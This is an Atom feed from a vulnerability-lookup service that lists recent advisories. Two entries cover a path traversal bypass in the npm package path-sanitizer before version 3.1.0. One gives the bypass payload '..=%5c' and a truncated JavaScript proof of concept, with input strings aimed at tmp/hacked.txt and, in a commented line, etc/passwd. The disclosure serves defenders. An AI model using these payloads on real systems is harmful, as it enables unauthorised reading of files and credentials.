<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-23T05:16:25.617866+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-207882</id>
    <title>EUVD-2026-207882</title>
    <updated>2026-10-23T05:16:25.662793+00:00</updated>
    <content>EUVD-2026-207882</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-207882"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2024-56198</id>
    <title>fkie_cve-2024-56198</title>
    <updated>2026-10-23T05:16:25.662829+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2024-56198"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-94p5-r7cc-3rpr</id>
    <title>GHSA-94p5-r7cc-3rpr — path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability</title>
    <updated>2026-10-23T05:16:25.662862+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: path-sanitizer</p>
<p>### Summary
This is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.</p>
<p>Payload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well.</p>
<p>### PoC
Here's the code to test for the filter bypass:</p>
<p>```js
const sanitize = require("path-sanitizer")
const path = require("path")
const fs = require("fs")</p>
<p>// Real scenario:
function routeHandler(myPath) {
  // Lets just assume that the path was extracted from the request
  // We want to read a file in the C:\Users\user\Desktop\myApp\ directory
  // But the user should be able to access C:\Users\user\Desktop\
  // So we need to sanitize the path</p>
<p>const APP_DIR = "/var/hacker"
  const sanitized = path.join(APP_DIR, sanitize(myPath))</p>
<p>// Now we would usally read the file
  // But in this case we just gonna print the path
  // console.log(sanitized)
  return sanitized
}</p>
<p>function readFile(filePath) {
  const absolutePath = path.resolve(filePath) // Resolve to absolute path</p>
<p>fs.readFile(absolutePath, "utf8", (err, data) =&gt; {
    if (err) {
      console.error(`Error reading the file: ${err.message}`)
      return
    }
    console.log(`Contents of the file ${filePath} :\n${data}`)
  })
}</p>
<p>input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"
// input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd"
input_user_payload…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-94p5-r7cc-3rpr"/>
  </entry>
</feed>
